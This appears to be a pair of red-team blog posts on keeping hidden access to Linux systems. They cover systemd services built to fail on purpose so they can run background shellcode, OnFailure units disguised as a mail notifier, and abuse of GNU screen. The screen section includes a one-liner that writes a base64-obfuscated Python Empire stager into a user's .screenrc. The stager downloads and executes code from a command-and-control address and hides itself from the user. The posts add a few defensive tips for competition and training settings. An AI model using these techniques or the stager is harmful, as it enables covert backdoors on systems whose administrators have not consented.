Controlled Failure to Maintain Persistence using Systemd

Quite some time ago I wrote a blog post about how to maintain persistence with systemd services. I largely used it as a simple and reliable method to maintain access to systems during red-teaming and competitions/events. However, over the years administrators have become more accustom to systemd and how to work with its units. As a result these simplistic systemd service backdoors are caught rather quickly. So instead I’ve been modifying more recognizable/expect systemd services for controlled failure to maintain persistence.

Why Controlled Failure to Maintain Persistence?

Long story short, its much harder to detect a service with a common name that isn’t actually running when someone looks a a list of running services. It is also possible to hide activities from logging and other monitoring tools as well. Its also possible to utilize the StartLimit* options within a systemd unit, like a service, to create an effective beacon.

Method A: Force the Service to Fail in the Background

In this method we can simply have the service execute and background a given command, then exit 1/false. The result is a failed start and effectively result in the shell code running as a background zombie process. Bellow is a example of a service is very similar to the last systemd blog post.

ExecStart=python -c '<shell code>' &; exit 1

The benefits are pretty simple, the service wont show when current running services are queried. Information about the process and the command run will be within the service logs. This could lead to quick discovery, if the logs and/or service errors are reviewed by an administrator. So overall I find this method is good for training and competitions where we want individuals to find artifacts to act upon.

In order to watch for unit failures, make it a common practice to run a command like ‘systemctl list-units –failed’ to review what’s going on with the system.

Method B: Expect failure and trigger OnFailure Unit

This method utilizes a legitimate service unit file from a common program, that’s not actually currently installed. Since the started services intended binaries and configuration files don’t actually exist, the service will fail to start. We can then use the OnFailure unit option to trigger another unit similar to this systemd-unit-status-mailer example. The idea being, we can hide our activity within another unit to leverage controlled failure to maintain persistence. An example for this method consists of the following.

Frist we can modify an existing unit or copy a new one from a common package and add OnFailure option to trigger the secondary unit.


Next we can utilize a legitimate looking secondary unit like the common unit status mailer to just execute our shell code.

Description=Unit Status Mailer Service

ExecStart=/bin/ %I "Hostname: %H" "Machine ID: %m" "Boot ID: %b"

Finally we could add shellcode directly to the bash script run by the secondary service unit.


for e in "${@:2}"; do

UNITSTATUS=$(systemctl status $UNIT)

sendmail $MAILTO <<EOF
Subject:Status mail for unit: $UNIT

Status report for unit: $UNIT

python -c "<shell code>"
echo -e "Status mail sent to: $MAILTO for unit: $UNIT"

The main benefit of this method is the malicious process is nested within execution of a secondary systemd unit, which only triggers on failure. This means that the execution isn’t within the purview of systemd itself and therefore will not show up within standard logs.

Leveraging Start Limits for effective Beaconing

There are several options available to control how and when systemd will take an action on a given unit. We can use the unit options StartLimitBurst and StartLimitIntervalSec alongside the standard service option RestartSec. When used in combination with controlled service failure, we can create a timed gap between restart attempts for effective beaconing. Getting the timing right can be tricky, but a simple 5 minute beacon can be done like the following example.


ExecStart=python -c '<shell code>' &; exit 1

The option ‘RefuseManualStop=True’ can be used to prevent users from being able to manually stop a given service unit.

Abusing screen and .screenrc to Escalate and Maintain Access

When it comes to playing the part of the hacker/red team in competitions like CCDC. I’m always looking for unique ways to gain and maintain access to systems. Lately I’ve toying with the idea of leveraging features in common administration tools instead of exploits or misconfigurations. My favorite of which is abusing screen and .screenrc features to establish a foothold.

Why screen?

The screen command is definitely something I think every Linux Administrator uses every day. The reason why is simple, its probably the best way to maintain your work or run longer jobs without the effort of creating a system service. This is because when the screen command issued it effective creates another terminal (TTY) independent of the current users session. So if the administrators session isn’t stable or its impractical to wait, the job won’t be affected.

Fun Fact: By default screens are actually allocated a TTY and spawned by the init process, not the current user. So the screen process, TTY, and child processes won’t show in user level process listings or the standard last, w, or who command outputs. Instead you can use the who command with the -a (all) option to also display TTYs spawned by init.

Abusing screen and .screenrc via abandoned screens

Given that the most common use case for the screen command is administrators running jobs that can’t be interrupted. Therefore it’s always worth checking to see if any screens are running when you compromise a users account. Its not that uncommon for administrators to elevate privileges or even switch users all together within a screen. If an administrator switches to root/superuser account in a screen, the screen still only allows the original spawning user access. If that’s a lower privilege user that you’ve compromised, its an easy privilege escalation case.

So you might be thinking that the administrator should have just used sudo to elevate privileges within the screen instead of switching to root/superuser. Its definitely a safer option, but not the best option because once a users password is entered for a sudo command, by default its not requested again for 15 minutes. So if you’re in the right screen at the right time, or willing to wait long enough, sudo can still be used as a means to privilege escalate as well.

You can check to see if the current user within a screen can sudo without prompt by running sudo in non-interactive mode and seeing if it errors out.

if sudo -n true 2>/dev/null; then echo "I can sudo"; else echo "I cannot sudo"; fi

Abusing screen and .screenrc via multi-user support

The alternative laid out by the developer of the screen tool is actually a rather detailed set of permissions and multi-user support for individual screens themselves. Going over the individual permissions that are available is probably out of the scope of this post. However multi-user support is actually used in cases where multi individuals need to access jobs running in a screen of a service account, but aren’t actually allowed superuser privileges.

For instances, in my consultant days we had external nmap scanning systems, all the consultants had access to scans running within screens, in case they needed to be modified or stopped. This allowed us to maintain access to all running jobs, but we weren’t required to have superuser access to switch users or elevate privileges to kill other users processes.

To use multi-user support, make sure the SUID bit is set on the screen executable and modify the individual users (~/.screenrc or global (/etc/screenrc) screenrc files. For example, if you wanted to try and maintain access to screens created by root via a compromised standard users named tester, you could include the following in /root/.screenrc file.

multiuser on
acladd tester

If screens are not being used enough to leverage changes to the .screenrc file. You can also modify one of the target users profile files to issue the screen command automatically. You can do this by adding ‘screen -RR’ to the users ~/.bashrc file or the global /etc/bashrc file. This will reattach to any existing screen or create a screen and attach to it, once login has completed.

Note: For highly secure environments its likely best to disable multi-user support in the global screenrc file. Also consider setting your global sudoers configure to timestamp_timeout=0, will require a password for every use of the sudo command. Change control and/or watchers on resource (~.*rc) and profile files might also help.

Abusing screen and .screenrc with stuff and clear

Maintaining Access with the stuff and clear technique

Leveraging multi-user support isn’t the only way of abusing screen and .screenrc to maintain access. Instead I now utilize a technique I call stuff and clear. In this technique the target users .screenrc file is modified to create a screen layer whenever a screen is executed. This arbitrary, named layer allows for the command “stuff” to send raw characters to the screen.

Luckily, the builtin printf command will handle the raw character encoding. So printf can type out shell code, send an return key press, type out the clear command, and send a final return key press. The stuff command will then effectively create the same screen pop effect that already happens when a new screen is created. So unless the user enters copy mode and scrolls up or errors occur, they are unlikely to notice.

Here is a code segment from a Empyre module I wrote for CCDC a few years ago, that does just as a described. It will write an Empyre shell to the users .screenrc file using the stuff and clear technique.

echo 'screen -t "python"' >> ~/.screenrc && printf "stuff \""'echo \\'"\"import sys,base64;exec(base64.b64decode(\\\'bU9WakhVPSdSSVRQYURSbFFwJwppbXBvcnQgc3lzLCB1cmxsaWIyO289X19pbXBvcnRfXyh7MjondXJsbGliMicsMzondXJsbGliLnJlcXVlc3QnfVtzeXMudmVyc2lvbl9pbmZvWzBdXSxmcm9tbGlzdD1bJ2J1aWxkX29wZW5lciddKS5idWlsZF9vcGVuZXIoKTtVQT0nSDNTRTIwUVlSRlZGWTFVOCc7by5hZGRoZWFkZXJzPVsoJ1VzZXItQWdlbnQnLFVBKV07YT1vLm9wZW4oJ2h0dHA6Ly8xMC4wLjAuMTAwOjgwODAvaW5kZXguYXNwJykucmVhZCgpO2tleT0nM2ViMDMwYzZhYjA5OWIwYTM1NTcxMmZlMzhkNTlmZmInO1MsaixvdXQ9cmFuZ2UoMjU2KSwwLFtdCmZvciBpIGluIHJhbmdlKDI1Nik6CiAgICBqPShqK1NbaV0rb3JkKGtleVtpJWxlbihrZXkpXSkpJTI1NgogICAgU1tpXSxTW2pdPVNbal0sU1tpXQppPWo9MApmb3IgY2hhciBpbiBhOgogICAgaT0oaSsxKSUyNTYKICAgIGo9KGorU1tpXSklMjU2CiAgICBTW2ldLFNbal09U1tqXSxTW2ldCiAgICBvdXQuYXBwZW5kKGNocihvcmQoY2hhcileU1soU1tpXStTW2pdKSUyNTZdKSkKZXhlYygnJy5qb2luKG91dCkp\\\'));"'\\'"\" | python &\rclear\r"'"' >> ~/.screenrc

Fun Fact: Screen also supports not terminating windows when a screen is exited. This can be done by adding the ‘zombie kr’ line to the .screenrc file. In the case of some payload types, this would mean the shell process would still be running until an administrator killed the screen manually.

One Final Thought

Since I’m the current maintainer of linuxprivchecker, I’ve also taken the time to begin to make changes to help detect these opportunities related to abusing screen and .screenrc for privilege escalation. I hope to continue to add features to this tool and provide related blog posts like this one. These new features will likely sit in the unstable branch for some time before they make it to master. Any assistance with testing, feedback, or ideas is always welcome.